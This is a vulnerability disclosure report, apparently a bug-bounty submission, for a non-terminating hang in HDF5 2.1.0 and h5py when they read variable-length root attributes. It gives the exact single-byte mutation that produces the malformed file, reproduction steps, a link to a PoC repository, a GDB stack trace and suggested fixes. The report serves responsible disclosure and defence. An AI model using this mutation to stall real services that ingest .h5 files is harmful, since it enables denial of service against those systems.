# HDF5 global heap/vlen attribute read hangs on single-byte malformed H5 file ## Summary HDF5 2.1.0, the current upstream release, can be forced into a non-terminating read path with a 12.9 KB `.h5` file that differs from a valid control file by one byte. The PoC starts from a valid HDF5 file containing two variable-length UTF-8 root attributes and a normal scaleoffset/gzip dataset. Flipping one byte at offset `0x818` from `0x1d` to `0x93` keeps the file openable, but reading root attributes through normal HDF5 consumers hangs instead of returning a bounded parse error. Confirmed affected paths: - `h5py.File(path, "r"); list(f.attrs.items())` using `h5py==3.16.0` linked against official HDF5 `2.1.0` - official HDF5 `2.1.0` `h5dump -A malicious.h5` - the stock `h5py==3.16.0` PyPI wheel, which bundles HDF5 `2.0.0` This is not the already-submitted Fletcher32 crash. The PoC has `fletcher32=False` and the stack is in variable-length attribute/global-heap parsing, not the filter pipeline. ## Target - Huntr MFV target: `HDF5 (.h5)` - Affected library: HDF5 - Tested upstream version: HDF5 `2.1.0` - Tested Python binding: `h5py==3.16.0` - Loader paths: - `h5py.File(...); list(f.attrs.items())` - `h5dump -A ` - Platform: Linux x86_64, Python 3.12.3 ## Proof Of Concept Evidence package: - Hugging Face PoC: `https://huggingface.co/hacnho/hdf5-vlen-attr-global-heap-hang-poc` - `reproduce_hdf5_vlen_attr_global_heap_hang.py` - `control_scaleoffset_int.h5` - `hdf5_vlen_attr_global_heap_single_byte_hang.h5` - `reproduce-output-hdf5-2.1.0.txt` - `scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt` - `h5dump-2.1.0-control.txt` - `h5dump-2.1.0-poc.txt` - `environment.txt` - `SHA256SUMS.txt` Run: ```bash python3 -m venv /tmp/hdf5-vlen-attr-hang /tmp/hdf5-vlen-attr-hang/bin/python -m pip install --upgrade pip /tmp/hdf5-vlen-attr-hang/bin/python -m pip install -r requirements.txt /tmp/hdf5-vlen-attr-hang/bin/python reproduce_hdf5_vlen_attr_global_heap_hang.py ``` Expected output on the official HDF5 2.1.0 build: ```text runtime_h5py=3.16.0 runtime_hdf5=2.1.0 control=.../control_scaleoffset_int.h5 size=12904 sha256=50556bda4784fbb959ef08d529b6ffd2c078034b74afc338b335bac969aa80a2 malicious=.../hdf5_vlen_attr_global_heap_single_byte_hang.h5 size=12904 sha256=a255c9cf170ad6bce12e73e890c10d46179a08563a5631f56f5c494fd746fff6 mutation=offset 0x818: 0x1d -> 0x93 --- control --- returncode=0 stdout: h5py=3.16.0 hdf5=2.1.0 opened [('probe', 'hdf5 non-fletcher filter seed'), ('seed_name', 'scaleoffset_int')] done --- malicious --- returncode=timeout_after_8s stdout: h5py=3.16.0 hdf5=2.1.0 opened ``` The malicious file opens successfully and hangs only when the root variable-length attributes are read. ## Mutation Details Only one byte differs: ```text seed size: 12904 malicious size: 12904 diff offset: 2072 / 0x818 original: 0x1d mutated: 0x93 ``` The control file has no Fletcher32 filter: ```text shape (64, 64) chunks (8, 64) compression gzip shuffle False scaleoffset 2 fletcher32 False ``` ## HDF5 2.1.0 Tool Evidence Official HDF5 2.1.0 `h5dump -A` on the control file returns normally and prints both attributes. The same `h5dump -A` invocation on the single-byte malicious file timed out after 8 seconds: ```text h5dump: Version 2.1.0 h5dump_control_rc=0 h5dump_poc_rc=124 ``` ## Native Stack Snapshot Interrupting the hung HDF5 2.1.0 process under GDB shows the main thread stuck in global-heap deserialization reached from variable-length attribute conversion: ```text #0 H5F_sizeof_size(...) at H5Fquery.c:404 #1 H5HG__cache_heap_deserialize(...) at H5HGcache.c:337 #2 H5C__load_entry(...) at H5Centry.c:1241 #3 H5C_protect(...) at H5Centry.c:3149 #4 H5AC_protect(...) at H5AC.c:1302 #5 H5HG__protect(...) at H5HG.c:238 #6 H5HG_get_obj_size(...) at H5HG.c:704 #7 H5VL__native_blob_get(...) at H5VLnative_blob.c:118 #10 H5T__vlen_disk_read(...) at H5Tvlen.c:839 #11 H5T__conv_vlen(...) at H5Tconv_vlen.c:412 #14 H5A__read(...) at H5Aint.c:787 #19 H5Aread(...) at H5A.c:1021 ``` Full backtrace is included as `scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt`. ## Impact Any service, model registry, scanner, converter, notebook, or ML ingestion pipeline that accepts `.h5` artifacts and reads root attributes can be pinned by a tiny attacker-controlled file. This includes common validation patterns such as `h5dump -A` and Python code using `h5py.File(...).attrs`. The PoC does not require a large input, deep nesting, external links, external storage, custom plugins, dynamic filters, or code execution. I am conservatively claiming process-level denial of service via unbounded CPU/hang, not memory corruption or RCE. ## Root Cause Hypothesis The single-byte corruption appears to alter a global heap / variable-length attribute reference. When the root attribute is read, HDF5 enters: ```text H5Aread -> H5T__conv_vlen -> H5T__vlen_disk_read -> H5HG_get_obj_size -> H5HG__cache_heap_deserialize ``` Instead of detecting the malformed global heap metadata and returning an error, the deserialize/protect path does not terminate in bounded time. ## Deduplication Local dashboard denylist from `/home/hacnho/Projects/research/huntr_mysubmission.html` had only these adjacent HDF5/h5py entries: - `HDF5 Fletcher32 filter SIGSEGV on single-byte malformed chunked dataset in HDF5` - `Pickle scanner bypass via h5py File.create_dataset writes attacker-controlled HDF5 files while picklescan and modelscan report clean in Pickle` Those are different: this PoC uses no Fletcher32 filter and is a native HDF5 parser hang, not a pickle scanner bypass. Huntr hacktivity title-filter checks returned zero bounty links for: - `H5HG` - `H5Aread` - `global heap` - `HDF5 attribute` - `HDF5 vlen` Public prior-art checks: - HDFGroup issue `hdf5#2662` is adjacent prior art for a historical `h5diff` SIGSEGV in HDF5 1.14.0 with variable-length attribute/global-heap stack frames. This PoC is different because it reproduces on HDF5 2.1.0, is a single-byte mutation from a valid h5py-generated file, affects `h5dump -A` and h5py root attribute reads, and causes an unbounded hang rather than the reported crash. - CVE-2024-29160 covers an older HDF5 heap overflow in `H5HG__cache_heap_deserialize` through 1.14.3. This PoC affects HDF5 2.1.0 and demonstrates a bounded-validation failure/hang, not the old through-1.14.3 overflow claim. - Huntr/Vulners lists `Integer Overflow Bypasses Memory Safety Checks in H5 Dataset Loading` in Keras. That is a Keras H5 dataset-loading issue, not this HDF5 root vlen-attribute/global-heap hang. - Public Keras reports around `model.weights.h5` external links and HDF5 external storage are different surfaces; this PoC uses no external links or external storage. Verdict: **candidate NOVEL**, with honest adjacent prior art in old HDF5 global-heap/vlen crash handling. ## Suggested Fix - Validate global heap object offsets, lengths, and free-list/collection metadata before deserializing or protecting heap entries. - Add loop/iteration bounds or progress checks in `H5HG__cache_heap_deserialize`. - When `H5T__vlen_disk_read` receives a malformed heap reference for an attribute, return a normal HDF5 error rather than continuing indefinitely. - Add a regression test using `hdf5_vlen_attr_global_heap_single_byte_hang.h5` and assert that: - `h5dump -A` exits with an error quickly. - `h5py.File(...).attrs.items()` raises an exception quickly.